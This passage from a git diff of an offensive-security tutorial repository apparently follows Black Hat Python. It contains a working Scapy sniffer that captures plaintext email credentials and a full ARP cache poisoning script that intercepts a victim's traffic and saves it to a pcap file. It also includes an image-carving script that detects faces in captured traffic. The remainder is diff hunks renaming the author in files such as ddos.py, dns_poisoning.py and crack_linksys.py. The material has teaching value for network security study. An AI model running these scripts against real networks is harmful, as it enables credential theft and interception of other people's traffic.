commands necessary for this task. + + +### Plotting +If you have [GnuPlot](http://www.gnuplot.info/) installed, you can use the plot functionality with Scapy. It's pretty neat. + + +We also can plot graphs with the function **plot()** and **graph()**, and we can generate 3D plots with **trace3D()**. + + + +### Nice Third Party Modules + +[Fingerprinting](http://nmap.org/book/osdetect-fingerprint-format.html) can be made with the **nmap_fp()** module (which comes from [Nmap](http://nmap.org) prior to v4.23): + +```python +>>> load_module("nmap") +>>> nmap_fp("192.168.0.114") +``` +[Passive OS fingerprinting](http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting) can be made with the **p0f** module: + +```python +>>>> load_module('p0f') +>>>> sniff(prn=prnp0f) +``` + + + + +----------- +## <a name="email"></a> Stealing Email Data + +The idea of this script is to build a sniffer to capture [SMTP](http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol), [POP3](http://en.wikipedia.org/wiki/Post_Office_Protocol), and [IMAP](http://en.wikipedia.org/wiki/Internet_Message_Access_Protocol) credentials. Once we couple this sniffer with some [MITM](http://en.wikipedia.org/wiki/Man-in-the-middle_attack) attack (such as **ARP poisoning), we can steal credentials from other machines in the network. + +With this in mind, we write a script that runs a sniffer on all the interfaces, with no filtering. The **sniff**'s **store=0** attribute ensures that the packets are not kept in memory (so we can leave it running): + +```python +from scapy.all import * + +def packet_callback(packet): + # check to make sure it has a data payload + if packet[TCP].payload: + mail_packet = str(packet[TCP].payload) + if 'user' in mail_packet.lower() or 'pass' in mail_packet.lower(): + print '[*] Server: %s' % packet[IP].dst + print '[*] %s' %packet[TCP].payload + +sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0) +``` + +Running this script when loading load some mail client (such as [Thunderbird](https://www.mozilla.org/en-US/thunderbird/)) will allow us to see the login information if they are sent to the server as plain text. + + + +----------- +## <a name="arp"></a> ARP Cache Poisoning + +I talked about [ARP cache poisoning using command line arpspoof](http://https://singularity-sh.vercel.app/wiresharking-for-fun-or-profit.html) in my guide about Wireshark. Here we are going to see how to implement a similar tool using Scapy. + +ARP cache poisoning works by convincing a target machine that we are the gateway and then convincing the gateway that all traffic should pass through our machine. + +Every machine in a network maintains an ARP cache that stores the recent MAC addresses that match to IP addresses on the local network. All we need to do is to poison this cache with controlled entries. + +The best way to test this is by using a Windows virtual machine (take a look in [this guide I wrote](http://https://singularity-sh.vercel.app/setting-up-a-playing-environment-with-virtual-machines.html)). + +Before the attack, go to the Windows box, open the terminal (```cmd```) and check the IP and gateway IP address with```ipconfig```. Then check the associated ARP cache entry MAC address with ```arp -a```. We are going to use the former information and we will see the ARP data being changed: + + + +Following is our ARP poisoning script (based on [Black Hat Python](http://www.nostarch.com/blackhatpython)). The script does the following steps: + +1. Define constant values, set our interface card, and turn off the output. + +2. Resolve the gateway and target MAC address. + * The function **get_mac** use the **srp** method to emit an ARP request to an IP address to resolve the MAC address. + +3. Start the poison thread to perform the ARP poisoning attack. This will start the sniffer that captures the packets. + * The function **poison_target** builds ARP requests for poisoning both the target IP and the gateway (in a loop). + +4. Write out the captured packets and restore the network. + * The function **restore_target** sends out the ARP packets to the network broadcast address to reset the ARP caches of the gateway and target machines. + + +```python +from scapy.all import * +from scapy.error import Scapy_Exception +import os +import sys +import threading +import signal + +INTERFACE = 'wlp1s0' +TARGET_IP = '192.168.1.107' +GATEWAY_IP = '192.168.1.1' +PACKET_COUNT = 1000 + +def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): + print '[*] Restoring targets...' + send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst='ff:ff:ff:ff:ff:ff', \ + hwsrc=gateway_mac), count=5) + send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", \ + hwsrc=target_mac), count=5) + os.kill(os.getpid(), signal.SIGINT) + +def get_mac(ip_address): + response, unanswered = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address), \ + timeout=2, retry=10) + for s, r in response: + return r[Ether].src + return None + +def poison_target(gateway_ip, gateway_mac, target_ip, target_mac): + poison_target = ARP() + poison_target.op = 2 + poison_target.psrc = gateway_ip + poison_target.pdst = target_ip + poison_target.hwdst = target_mac + poison_gateway = ARP() + poison_gateway.op = 2 + poison_gateway.psrc = target_ip + poison_gateway.pdst = gateway_ip + poison_gateway.hwdst = gateway_mac + + print '[*] Beginning the ARP poison. [CTRL-C to stop]' + while 1: + try: + send(poison_target) + send(poison_gateway) + time.sleep(2) + + except KeyboardInterrupt: + restore_target(gateway_ip, gateway_mac, target_ip, target_mac) + + print '[*] ARP poison attack finished.' + return + +if __name__ == '__main__': + conf.iface = INTERFACE + conf.verb = 0 + print "[*] Setting up %s" % INTERFACE + GATEWAY_MAC = get_mac(GATEWAY_IP) + if GATEWAY_MAC is None: + print "[-] Failed to get gateway MAC. Exiting." + sys.exit(0) + else: + print "[*] Gateway %s is at %s" %(GATEWAY_IP, GATEWAY_MAC) + + TARGET_MAC = get_mac(TARGET_IP) + if TARGET_MAC is None: + print "[-] Failed to get target MAC. Exiting." + sys.exit(0) + else: + print "[*] Target %s is at %s" % (TARGET_IP, TARGET_MAC) + + poison_thread = threading.Thread(target = poison_target, args=(GATEWAY_IP, GATEWAY_MAC, \ + TARGET_IP, TARGET_MAC)) + poison_thread.start() + + try: + print '[*] Starting sniffer for %d packets' %PACKET_COUNT + bpf_filter = 'IP host ' + TARGET_IP + packets = sniff(count=PACKET_COUNT, iface=INTERFACE) + wrpcap('results.pcap', packets) + restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC) + + except Scapy_Exception as msg: + print msg, "Hi there!!" + + except KeyboardInterrupt: + restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC) + sys.exist() +``` + +To run it, we need to tell the local host machine (Kali Linux) to forward packets along with both the gateway and the target IP address: + +```sh +$ echo 1 /proc/sys/net/ipv4/ip_foward +``` + +Running this in our attack machine (Kali Linux), + +``` +$ sudo python arp_cache_poisoning.py +[*] Setting up wlp1s0 +[*] Gateway 192.168.1.1 is at 00:90:a9:a3:f1:46 +[*] Target 192.168.1.107 is at 00:25:9c:b3:87:c4 +[*] Beginning the ARP poison. [CTRL-C to stop] +[*] Starting sniffer for 1000 packets +[*] ARP poison attack finished. +[*] Restoring targets... +``` +we see the changes in the victim's machine (Windows): + + + +Now open in Wireshark the PCAP file resulting from the script. BAM! The entire traffic from the victim is in your hand! + + + + + + + + + + +------ +## <a name="pcap"></a> PCAP Processing to Find Images + +We have learned how to steal credentials from some email protocols, now let us extend this to all the traffic in the network! + +### Writing and Saving PCAP Files + +To save packets we can use the function **wrpacp**: +```python +wrpcap('packets.pcap', p) +``` + +To read packets we can use **rdpcap**: +```python +p = rdpcap('packets.pcap', p) +p.show() +``` + +### Analyzing PCAP Files + +Based on one of the examples from [Black Hat Python]() we are going to analyze images from HTTP traffic dumped in a PCAP file. We can do this with the library [opencv](http://opencv.org/). We also need to install [numpy](http://www.numpy.org/) and [scipy](http://www.scipy.org/): + +```sh +$ sudo pip install numpy +$ sudo pip install scipy +$ sudo yum install opencv-python +``` + +To try to detect images that contain human faces, first either create or download some PCAP files with these images. Some dump sources: +[here](http://wiki.wireshark.org/SampleCaptures), [here](http://www.netresec.com/?page=PcapFiles), [here](http://www.pcapr.net/home), and [here](http://www.pcapr.net/browse?q=facebook+AND+png). + +The following script does the following: + +1) The function **http_assembler** takes a PCAP and separates each TCP session in a dictionary. Then it loops in these sections using the HTTP filter (which is the same as *Follow the TCP stream* in Wireshark). After the HTTP data is assembled, it parses the headers with the **get_http_headers** function and send to the **extract_image** function. If the image header are returned, it saves the image and try to detect faces with the function **face_detect**. + +```python +def http_assembler(PCAP): + carved_images, faces_detected = 0, 0 + p = rdpcap(PCAP) + sessions = p.sessions() + for session in sessions: + http_payload = '' + for packet in sessions[session]: + try: + if packet[TCP].dport == 80 or packet[TCP].sport == 80: + http_payload += str(packet[TCP].payload) + except: + pass + headers = get_http_headers(http_payload) + if headers is None: + continue + + # extract the raw image and return the image type and the binary body of + # the image itself + image, image_type = extract_image(headers, http_payload) + if image is not None and image_type is not None: + file_name = '%s-pic_carver_%d.%s' %(PCAP, carved_images, image_type) + fd = open('%s/%s' % (PIC_DIR, file_name), 'wb') + fd.write(image) + fd.close() + carved_images += 1 + try: + result = face_detect('%s/%s' %(PIC_DIR, file_name), file_name) + if result is True: + faces_detected += 1 + except: + pass + return carved_images, faces_detected +``` + +2. The **get_http_headers** function split the headers using regex to find **'Content-Type'**: + +```python +def get_http_headers(http_payload): + try: + headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2] + headers = dict(re.findall(r'(?P<name>.*?):(?P<value>.*?)\r\n', headers_raw)) + except: + return None + if 'Content-Type' not in headers: + return None + return headers +``` + +3. The **extract_image** function determines whether an image is in a HTTP response by checking by the **'Content-Type'** string. + +```python +def extract_image(headers, http_payload): + image,image_type = None, None + try: + if 'image' in headers['Content-Type']: + image_type = headers['Content-Type'].split('/')[1] + image = http_payload[http_payload.index('\r\n\r\n')+4:] + try: + if 'Content-Encoding' in headers.keys(): + if headers['Content-Encoding'] == 'gzip': + image = zlib.decompress(image, 16+zlb.MAX_WBITS) + elif headers['Content-Encoding'] == 'deflate': + image = zlib.decompress(image) + except: + pass + except: + return None, None + return image, image_type +``` + +4. Finally, the **face_detect** function uses the **opencv** library to apply a classifier that is trained for detecting faces. It returns a rectangle coordinates to where the face is and saves the final image. Several types of image classifiers can be found [here](http://alereimondo.no-ip.org/OpenCV/34). + +```python +def face_detect(path, file_name): + img = cv2.imread(path) + cascade = cv2.CascadeClassifier('/home/bytegirl/Desktop/haarcascade_upperbody.xml') + rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20)) + if len(rects) == 0: + return False + rects[:, 2:] += rects[:, :2] + for x1, y1, x2, y2 in rects: + cv2.retangle(img, (x1, y1), (x2, y2), (127, 255,0), 2) + cv2.imwrite('%s/%s-%s' % (FACES_DIR, PCAP, file_name), img) + return True +``` + + +Running it results in an output like this: + +```sh +Extracted: 165 images +Detected: 16 faces +``` + + + +----- + + +## Further References: + +- [Scapy Documentation](http://www.secdev.org/projects/scapy/doc/). +- [Scapy Examples](http://www.secdev.org/projects/scapy/doc/usage.html). +- [Wifitap: PoC for communication over WiFi networks using traffic injection](http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html). +- [SurfJack: hijack HTTP connections to steal cookies](https://code.google.com/p/surfjack/) +- [Black Hat Python](http://www.nostarch.com/blackhatpython). +- [My Gray hat repo](https://github.com/go-outside-labs/My-Gray-Hacker-Resources). diff --git a/Network_and_802.11/paramiko/README.md b/Network_and_802.11/paramiko/README.md index f23b826..afc0beb 100644 --- a/Network_and_802.11/paramiko/README.md +++ b/Network_and_802.11/paramiko/README.md @@ -369,4 +369,4 @@ Enter command: - [Paramikos reverse SSH tunneling](https://github.com/paramiko/paramiko/blob/master/demos/rforward.py). - [Black Hat Python](http://www.nostarch.com/blackhatpython). -- [My Gray hat repo](https://github.com/bt3gl/My-Gray-Hacker-Resources). +- [My Gray hat repo](https://github.com/go-outside-labs/My-Gray-Hacker-Resources). diff --git a/Network_and_802.11/paramiko/ssh_client.py b/Network_and_802.11/paramiko/ssh_client.py index 677d07f..b4cf2a6 100755 --- a/Network_and_802.11/paramiko/ssh_client.py +++ b/Network_and_802.11/paramiko/ssh_client.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import paramiko diff --git a/Network_and_802.11/paramiko/ssh_client_reverse.py b/Network_and_802.11/paramiko/ssh_client_reverse.py index 641ea1f..bb96f1e 100755 --- a/Network_and_802.11/paramiko/ssh_client_reverse.py +++ b/Network_and_802.11/paramiko/ssh_client_reverse.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import paramiko diff --git a/Network_and_802.11/paramiko/ssh_server.py b/Network_and_802.11/paramiko/ssh_server.py index 2f02c13..d323e1d 100755 --- a/Network_and_802.11/paramiko/ssh_server.py +++ b/Network_and_802.11/paramiko/ssh_server.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import paramiko @@ -95,4 +95,4 @@ def main(): if __name__ == '__main__': - main() \ No newline at end of file + main() diff --git a/Network_and_802.11/scanner/README.md b/Network_and_802.11/scanner/README.md index 454ce81..5dce9b3 100644 --- a/Network_and_802.11/scanner/README.md +++ b/Network_and_802.11/scanner/README.md @@ -2,7 +2,7 @@ When it comes to the reconnaissance of some target network, the start point is undoubtedly on host discovering. This task might come together with the ability to sniff and parse the packets flying in the network. -A few weeks ago, I talked about [how to use Wireshark](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html) for packet sniffing, but what if you don't have Wireshark available to monitor a network traffic? +A few weeks ago, I talked about [how to use Wireshark](http://https://singularity-sh.vercel.app/wiresharking-for-fun-or-profit.html) for packet sniffing, but what if you don't have Wireshark available to monitor a network traffic? Again, Python comes with several solutions and today I'm going through the steps to build a **UDP Host discovery tool**. First, we are going to see how we deal with [raw sockets](http://en.wikipedia.org/wiki/Raw_socket) to write a simple sniffer, which is able to view and decode network packets. Then we are going to multithread this process within a subnet, which will result in our scanner. @@ -15,7 +15,7 @@ The cool thing about using **UDP datagrams** is that, differently from TCP, they ## Writing a Packet Sniffing -We start with a very simple task: with Python's [socket](http://bt3gl.github.io/black-hat-python-networking-the-socket-module.html) library, we will write a very simple packet sniffer. +We start with a very simple task: with Python's [socket](http://https://singularity-sh.vercel.app/black-hat-python-networking-the-socket-module.html) library, we will write a very simple packet sniffer. In this sniffer we create a raw socket and then we bind it to the public interface. The interface should be in **promiscuous mode**, which means that every packet that the network card sees are captured, even those that are not destined to the host. diff --git a/Network_and_802.11/scapy/README.md b/Network_and_802.11/scapy/README.md index 13a7cda..4b4e202 100644 --- a/Network_and_802.11/scapy/README.md +++ b/Network_and_802.11/scapy/README.md @@ -1,4 +1,4 @@ -# The Scapy Module (by bt3) +# The Scapy Module (by Mia Stein) [Scapy](http://www.secdev.org/projects/scapy/) is able to send and capture packets of several protocols, forging and decoding them to be used to most network tasks such as scanning, tracerouting, probing, attacks, and network discovery. @@ -38,7 +38,7 @@ The basic unit in a network communication is the *packet*. So let's create one Scapy builds packets by the *layers* and then by the *fields* in each layer. Each layer is nested inside the parent layer, represented by the **<** and **>** brackets. -Let's start by specifying the packet's source IP and then its destination IP. This type of information goes in the **IP header**, which is a *layer 3 protocol* in the [0SI model](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html): +Let's start by specifying the packet's source IP and then its destination IP. This type of information goes in the **IP header**, which is a *layer 3 protocol* in the [0SI model](http://https://singularity-sh.vercel.app/wiresharking-for-fun-or-profit.html): ```python >>> ip = IP(src="192.168.1.114") @@ -295,7 +295,7 @@ We can check the output with: res.summary() ``` -For more advanced stuff, check out [my script for scanning subnet in selected ports](https://github.com/bt3gl/My-Gray-Hacker-Resources/blob/master/Network_and_802.11/scapy/super_scanner.py). +For more advanced stuff, check out [my script for scanning subnet in selected ports](https://github.com/go-outside-labs/My-Gray-Hacker-Resources/blob/master/Network_and_802.11/scapy/super_scanner.py). ### The Sniff() Method @@ -568,13 +568,13 @@ Running this script when loading some mail client (such as [Thunderbird](https: ----------- ## <a name="arp"></a> ARP Cache Poisoning -I talked about [ARP cache poisoning using command line arpspoof](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html) in my guide about Wireshark. Here we are going to see how to implement similar tool using Scapy. +I talked about [ARP cache poisoning using command line arpspoof](http://https://singularity-sh.vercel.app/wiresharking-for-fun-or-profit.html) in my guide about Wireshark. Here we are going to see how to implement similar tool using Scapy. ARP cache poisoning works by convincing a target machine that we are the gateway, and then convincing the gateway that all traffic should pass through our machine. Every machine in a network maintains an ARP cache that stores the recent MAC addresses that match to IP addresses on the local network. All we need to do is to poison this cache with controlled entries. -The best way to test this is using a Windows virtual machine (take a look at [this guide I wrote](http://bt3gl.github.io/setting-up-a-playing-environment-with-virtual-machines.html)). +The best way to test this is using a Windows virtual machine (take a look at [this guide I wrote](http://https://singularity-sh.vercel.app/setting-up-a-playing-environment-with-virtual-machines.html)). Before the attack, go to the Windows box, open the terminal (```cmd```) and check the IP and gateway IP address with```ipconfig```. Then check the associated ARP cache entry MAC address with ```arp -a```: diff --git a/Network_and_802.11/scapy/arp_cache_poisoning.py b/Network_and_802.11/scapy/arp_cache_poisoning.py index b8f7e5e..5c3b400 100644 --- a/Network_and_802.11/scapy/arp_cache_poisoning.py +++ b/Network_and_802.11/scapy/arp_cache_poisoning.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" ''' To run you need to tell the local host machine to forward packets along diff --git a/Network_and_802.11/scapy/ddos.py b/Network_and_802.11/scapy/ddos.py index 52e78c6..24fb102 100644 --- a/Network_and_802.11/scapy/ddos.py +++ b/Network_and_802.11/scapy/ddos.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import threading import socket @@ -63,4 +63,4 @@ if __name__ == '__main__': op = raw_input("Select the flood attack type: 1) syn, 2) tcp, 3)udp, 4) icmp ") count = raw_input("Select the count: ") ip = getIP(domainName) - option(int(count), op, ip, port) \ No newline at end of file + option(int(count), op, ip, port) diff --git a/Network_and_802.11/scapy/dns_poisoning.py b/Network_and_802.11/scapy/dns_poisoning.py index fedb522..92ad59b 100644 --- a/Network_and_802.11/scapy/dns_poisoning.py +++ b/Network_and_802.11/scapy/dns_poisoning.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * from scapy.layers.l2 import * @@ -22,4 +22,4 @@ if __name__ == '__main__': url = "whenry_49094902fea7938f.propaganda.hc" SPOOF_ADDR = '23.235.46.133' TARGET = '192.168.1.125' - dns_poisoning() \ No newline at end of file + dns_poisoning() diff --git a/Network_and_802.11/scapy/example_hexdump.py b/Network_and_802.11/scapy/example_hexdump.py index 1519a42..d50e943 100644 --- a/Network_and_802.11/scapy/example_hexdump.py +++ b/Network_and_802.11/scapy/example_hexdump.py @@ -1,9 +1,9 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * str(IP()) a = Ether()/IP(dst="www.google.com")/TCP()/"GET /index.html HTTP/1.1" -hexdump(a) \ No newline at end of file +hexdump(a) diff --git a/Network_and_802.11/scapy/icmp_ping_sweep.py b/Network_and_802.11/scapy/icmp_ping_sweep.py index 706e28f..7793af5 100644 --- a/Network_and_802.11/scapy/icmp_ping_sweep.py +++ b/Network_and_802.11/scapy/icmp_ping_sweep.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * import netaddr @@ -30,4 +30,4 @@ def sweep(): print "Out of " + str(addresses.size) + " hosts, " + str(liveCounter) + " are online." if __name__ == '__main__': - sweep() \ No newline at end of file + sweep() diff --git a/Network_and_802.11/scapy/nmap.py b/Network_and_802.11/scapy/nmap.py index 366dcf0..1e08d51 100644 --- a/Network_and_802.11/scapy/nmap.py +++ b/Network_and_802.11/scapy/nmap.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * import random @@ -29,4 +29,4 @@ def nmap(): print HOST + ":" + str(dport) + " is filtered (dropped)." if __name__ == '__main__': - nmap() \ No newline at end of file + nmap() diff --git a/Network_and_802.11/scapy/os_fingerpringing.py b/Network_and_802.11/scapy/os_fingerpringing.py index 52a39ac..ea18de4 100644 --- a/Network_and_802.11/scapy/os_fingerpringing.py +++ b/Network_and_802.11/scapy/os_fingerpringing.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * diff --git a/Network_and_802.11/scapy/pcap_processing.py b/Network_and_802.11/scapy/pcap_processing.py index 5ada8c5..5e0efa0 100644 --- a/Network_and_802.11/scapy/pcap_processing.py +++ b/Network_and_802.11/scapy/pcap_processing.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import re diff --git a/Network_and_802.11/scapy/ping.py b/Network_and_802.11/scapy/ping.py index 6f62723..de06319 100644 --- a/Network_and_802.11/scapy/ping.py +++ b/Network_and_802.11/scapy/ping.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from sys import argv, exit from os import path @@ -29,4 +29,4 @@ if __name__ == '__main__': HOST = '192.168.1.25' #arp_ping(HOST) icmp_ping(HOST) - #tcp_ping(HOST, 80) \ No newline at end of file + #tcp_ping(HOST, 80) diff --git a/Network_and_802.11/scapy/plotting.py b/Network_and_802.11/scapy/plotting.py index 4b21a50..4163a99 100644 --- a/Network_and_802.11/scapy/plotting.py +++ b/Network_and_802.11/scapy/plotting.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * @@ -27,4 +27,4 @@ def simple_plot(): p.plot(lambda x:len(x)) if __name__ == '__main__': - simple_plot() \ No newline at end of file + simple_plot() diff --git a/Network_and_802.11/scapy/receive_packet.py b/Network_and_802.11/scapy/receive_packet.py index 65dd94e..82a5ef8 100644 --- a/Network_and_802.11/scapy/receive_packet.py +++ b/Network_and_802.11/scapy/receive_packet.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * @@ -17,4 +17,4 @@ def srloop_simple(): srloop(IP(dst="www.google.com")/ICMP(), count=3) if __name__ == '__main__': - srloop_simple \ No newline at end of file + srloop_simple diff --git a/Network_and_802.11/scapy/route.py b/Network_and_802.11/scapy/route.py index d168c0b..dff6936 100644 --- a/Network_and_802.11/scapy/route.py +++ b/Network_and_802.11/scapy/route.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * @@ -12,4 +12,4 @@ print conf.route conf.route.resync() -print conf.route \ No newline at end of file +print conf.route diff --git a/Network_and_802.11/scapy/scanning_ip.py b/Network_and_802.11/scapy/scanning_ip.py index a2feff8..6bae0ca 100644 --- a/Network_and_802.11/scapy/scanning_ip.py +++ b/Network_and_802.11/scapy/scanning_ip.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import sys import random @@ -20,4 +20,4 @@ if __name__ == '__main__': if len(sys.argv) > 1: scan_ip(sys.argv[1]) else: - print 'Usage: scan_ip <destination>' \ No newline at end of file + print 'Usage: scan_ip <destination>' diff --git a/Network_and_802.11/scapy/scanning_port.py b/Network_and_802.11/scapy/scanning_port.py index 011bfc2..35049c8 100644 --- a/Network_and_802.11/scapy/scanning_port.py +++ b/Network_and_802.11/scapy/scanning_port.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import sys from scapy.all import * @@ -20,4 +20,4 @@ def scan_port(): print "All ports in %s are closed." %DEST if __name__ == '__main__': - scan_port() \ No newline at end of file + scan_port() diff --git a/Network_and_802.11/scapy/send_packet.py b/Network_and_802.11/scapy/send_packet.py index c417e2b..3f07344 100644 --- a/Network_and_802.11/scapy/send_packet.py +++ b/Network_and_802.11/scapy/send_packet.py @@ -1,10 +1,10 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * packet = IP(dst="192.168.1.114")/ICMP()/"Helloooo!" #send(packet, loop=1) send(packet) -packet.show() \ No newline at end of file +packet.show() diff --git a/Network_and_802.11/scapy/sniff_simple.py b/Network_and_802.11/scapy/sniff_simple.py index 72af871..f2d4843 100644 --- a/Network_and_802.11/scapy/sniff_simple.py +++ b/Network_and_802.11/scapy/sniff_simple.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * @@ -40,4 +40,4 @@ def sniff_callback(): if __name__ == '__main__': - tcp_sniff() \ No newline at end of file + tcp_sniff() diff --git a/Network_and_802.11/scapy/ssid.py b/Network_and_802.11/scapy/ssid.py index b2d331e..f6b9b10 100644 --- a/Network_and_802.11/scapy/ssid.py +++ b/Network_and_802.11/scapy/ssid.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * @@ -16,4 +16,4 @@ def PacketHandler(pkt) : if __name__ == '__main__': ap_list = [] - sniff(iface="wlp1s0", prn = PacketHandler) \ No newline at end of file + sniff(iface="wlp1s0", prn = PacketHandler) diff --git a/Network_and_802.11/scapy/stealing_emails.py b/Network_and_802.11/scapy/stealing_emails.py index c8f7495..fd61753 100644 --- a/Network_and_802.11/scapy/stealing_emails.py +++ b/Network_and_802.11/scapy/stealing_emails.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" ''' A simple sniffer to capture SMTP, POP3, IMAP credentials''' diff --git a/Network_and_802.11/scapy/super_scanner.py b/Network_and_802.11/scapy/super_scanner.py index daa3004..7c4fbb9 100644 --- a/Network_and_802.11/scapy/super_scanner.py +++ b/Network_and_802.11/scapy/super_scanner.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * import netaddr @@ -58,4 +58,4 @@ def super_scanner(): if __name__ == '__main__': - super_scanner() \ No newline at end of file + super_scanner() diff --git a/Network_and_802.11/scapy/tcp_handshake.py b/Network_and_802.11/scapy/tcp_handshake.py index 8b767cd..fafe85b 100644 --- a/Network_and_802.11/scapy/tcp_handshake.py +++ b/Network_and_802.11/scapy/tcp_handshake.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * @@ -14,4 +14,4 @@ ACK = TCP(sport=1024, dport=80, flags='A', seq=12346, ack=ack) send(ip/ACK) PUSH = TCP(sport=1024, dport=80, flags='', seq=12346, ack=ack) data = "HELLO!" -send(ip/PUSH/data) \ No newline at end of file +send(ip/PUSH/data) diff --git a/Network_and_802.11/scapy/third_party_mod.py b/Network_and_802.11/scapy/third_party_mod.py index f95da4d..cc84671 100644 --- a/Network_and_802.11/scapy/third_party_mod.py +++ b/Network_and_802.11/scapy/third_party_mod.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * @@ -13,4 +13,4 @@ def os_finger(): sniff(prn=prnp0f) if __name__ == '__main__': - nmap_simple() \ No newline at end of file + nmap_simple() diff --git a/Network_and_802.11/scapy/tools.py b/Network_and_802.11/scapy/tools.py index 9662692..1943911 100644 --- a/Network_and_802.11/scapy/tools.py +++ b/Network_and_802.11/scapy/tools.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from scapy.all import * @@ -19,4 +19,4 @@ def fuzz_tcp(): send(IP(dst="192.168.1.114")/fuzz(UDP()/NTP(version=4)), loop=1) if __name__ == '__main__': - fuzz_tcp() \ No newline at end of file + fuzz_tcp() diff --git a/Network_and_802.11/socket/README.md b/Network_and_802.11/socket/README.md index a25d2c2..b5ffdd7 100644 --- a/Network_and_802.11/socket/README.md +++ b/Network_and_802.11/socket/README.md @@ -498,7 +498,7 @@ Cool, huh? ## A TCP Proxy -A TCP proxy can be very useful for forwarding traffic and when assessing network-based softwares (for example, when you cannot run [Wireshark](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html) or you cannot load drivers or tools in the machine you are exploiting). +A TCP proxy can be very useful for forwarding traffic and when assessing network-based softwares (for example, when you cannot run [Wireshark](http://https://singularity-sh.vercel.app/wiresharking-for-fun-or-profit.html) or you cannot load drivers or tools in the machine you are exploiting). To create a proxy we need to verify if we need to *first initiate a connection* to the remote side. This will request data before going into our main loop and some server daemons expect you to do this first (for instance, FTP servers send a banner first). We call this information **receive_first**. @@ -730,7 +730,7 @@ Additionally, let's take a quick look to all the methods available with the **s - [Python's Socket Documentation](https://docs.python.org/2/library/socket.html) - [Black Hat Python](http://www.nostarch.com/blackhatpython). -- [My Gray hat repo](https://github.com/bt3gl/My-Gray-Hacker-Resources). +- [My Gray hat repo](https://github.com/go-outside-labs/My-Gray-Hacker-Resources). - [A TCP Packet Injection tool](https://github.com/OffensivePython/Pinject/blob/master/pinject.py). - [An asynchronous HTTP Proxy](https://github.com/OffensivePython/PyProxy/blob/master/PyProxy.py). - [A network sniffer at the Network Layer](https://github.com/OffensivePython/Sniffy/blob/master/Sniffy.py). diff --git a/Network_and_802.11/socket/crack_linksys.py b/Network_and_802.11/socket/crack_linksys.py index fefca45..4929a2d 100755 --- a/Network_and_802.11/socket/crack_linksys.py +++ b/Network_and_802.11/socket/crack_linksys.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import socket diff --git a/Network_and_802.11/socket/netcat_awesome.py b/Network_and_802.11/socket/netcat_awesome.py index 5710e08..61acfa4 100755 --- a/Network_and_802.11/socket/netcat_awesome.py +++ b/Network_and_802.11/socket/netcat_awesome.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import socket @@ -204,4 +204,4 @@ def main(): if __name__ == '__main__': - main() \ No newline at end of file + main() diff --git a/Network_and_802.11/socket/netcat_simple.py b/Network_and_802.11/socket/netcat_simple.py index bf08752..6e1a196 100755 --- a/Network_and_802.11/socket/netcat_simple.py +++ b/Network_and_802.11/socket/netcat_simple.py @@ 